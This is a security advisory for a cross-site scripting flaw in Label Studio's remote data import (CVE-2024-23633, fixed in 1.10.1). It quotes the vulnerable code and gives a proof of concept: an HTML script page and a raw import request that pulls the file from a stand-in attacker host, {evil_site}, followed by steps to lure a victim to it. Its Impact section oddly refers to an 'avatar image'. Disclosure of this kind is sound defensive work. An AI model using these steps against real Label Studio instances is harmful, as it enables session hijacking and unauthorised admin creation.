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Security Advisories: GSA_kwCzR0hTQS1mcTIzLWc1OG0tNzk5cs4AA4qW

Cross-site Scripting Vulnerability on Data Import

Introduction

This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.10.1 and was tested on version 1.9.2.post0.

Overview

Label Studio had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. This feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website.

Description

The following code snippet in Label Studio showed that is a URL passed the SSRF verification checks, the contents of the file would be downloaded using the filename in the URL.

def tasks_from_url(file_upload_ids, project, user, url, could_be_tasks_list):
    """Download file using URL and read tasks from it"""
    # process URL with tasks
    try:
        filename = url.rsplit('/', 1)[-1] <1>

        response = ssrf_safe_get(
            url, verify=project.organization.should_verify_ssl_certs(), stream=True, headers={'Accept-Encoding': None}
        )
        file_content = response.content
        check_tasks_max_file_size(int(response.headers['content-length']))
        file_upload = create_file_upload(user, project, SimpleUploadedFile(filename, file_content))
        if file_upload.format_could_be_tasks_list:
            could_be_tasks_list = True
        file_upload_ids.append(file_upload.id)
        tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(project, file_upload_ids)

    except ValidationError as e:
        raise e
    except Exception as e:
        raise ValidationError(str(e))
    return data_keys, found_formats, tasks, file_upload_ids, could_be_tasks_list
  1. The file name that was set was retrieved from the URL.

The downloaded file path could then be retrieved by sending a request to /api/projects/{project_id}/file-uploads?ids=[{download_id}] where {project_id} was the ID of the project and {download_id} was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, the following code snippet demonstrated that the Content-Type of the response was determined by the file extension, since mimetypes.guess_type guesses the Content-Type based on the file extension.

class UploadedFileResponse(generics.RetrieveAPIView):
    permission_classes = (IsAuthenticated,)

    @swagger_auto_schema(auto_schema=None)
    def get(self, *args, **kwargs):
        request = self.request
        filename = kwargs['filename']
        # XXX needed, on windows os.path.join generates '\' which breaks FileUpload
        file = settings.UPLOAD_DIR + ('/' if not settings.UPLOAD_DIR.endswith('/') else '') + filename
        logger.debug(f'Fetch uploaded file by user {request.user} => {file}')
        file_upload = FileUpload.objects.filter(file=file).last()

        if not file_upload.has_permission(request.user):
            return Response(status=status.HTTP_403_FORBIDDEN)

        file = file_upload.file
        if file.storage.exists(file.name):
            content_type, encoding = mimetypes.guess_type(str(file.name)) <1>
            content_type = content_type or 'application/octet-stream'
            return RangedFileResponse(request, file.open(mode='rb'), content_type=content_type)
        else:
            return Response(status=status.HTTP_404_NOT_FOUND)
  1. Determines the Content-Type based on the extension of the uploaded file by using mimetypes.guess_type.

Since the Content-Type was determined by the file extension of the downloaded file, an attacker could import in a .html file that would execute JavaScript when visited.

Proof of Concept

Below were the steps to recreate this issue:

  1. Host the following HTML proof of concept (POC) script on an external website with the file extension .html that would be downloaded to the Label Studio website.
<html>
    <body>
        <h1>Data Import XSS</h1>
        <script>
            alert(document.domain);
        </script>
    </body>
</html>
  1. Send the following POST request to download the HTML POC to the Label Studio and note the returned ID of the downloaded file in the response. In the following POC the {victim_host} is the address and port of the victim Label Studio website (eg. labelstudio.com:8080), {project_id} is the ID of the project where the data would be imported into, {cookies} are session cookies and {evil_site} is the website hosting the malicious HTML file (named xss.html in the following example).
POST /api/projects/{project_id}/import?commit_to_project=false HTTP/1.1
Host: {victim_host}
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 43
Connection: close
Cookie: {cookies}
Pragma: no-cache
Cache-Control: no-cache

url=https://{evil_site}/xss.html

  1. To retrieve the downloaded file path could be retrieved by sending a GET request to /api/projects/{project_id}/file-uploads?ids=[{download_id}], where {download_id} is the ID of the file download from the previous step.

  2. Send your victim a link to /data/{file_path}, where {file_path} is the path of the downloaded file from the previous step. The following screenshot demonstrated executing the POC JavaScript code by visiting /data/upload/1/cfcfc340-xss.html.

xss-import-alert

Impact

Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.

Remediation Advice

Discovered

Permalink: https://github.com/advisories/GHSA-fq23-g58m-799r
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mcTIzLWc1OG0tNzk5cs4AA4qW
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 10 months ago
Updated: 10 days ago


CVSS Score: 4.7
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Identifiers: GHSA-fq23-g58m-799r, CVE-2024-23633
References: Repository: https://github.com/HumanSignal/label-studio
Blast Radius: 7.5

Affected Packages

pypi:label-studio
Dependent packages: 1
Dependent repositories: 39
Downloads: 61,690 last month
Affected Version Ranges: < 1.10.1
Fixed in: 1.10.1
All affected versions: 0.4.1, 0.4.2, 0.4.3, 0.4.4, 0.4.5, 0.4.6, 0.4.7, 0.4.8, 0.5.0, 0.5.1, 0.6.0, 0.6.1, 0.7.0, 0.7.1, 0.7.2, 0.7.3, 0.7.4, 0.8.0, 0.8.1, 0.8.2, 0.9.0, 0.9.1, 1.0.0, 1.0.1, 1.0.2, 1.1.0, 1.1.1, 1.4.1, 1.5.0, 1.6.0, 1.7.0, 1.7.1, 1.7.2, 1.7.3, 1.8.0, 1.8.1, 1.8.2, 1.9.0, 1.9.1, 1.9.2, 1.10.0
All unaffected versions: 1.10.1, 1.11.0, 1.12.0, 1.12.1, 1.13.0, 1.13.1, 1.14.0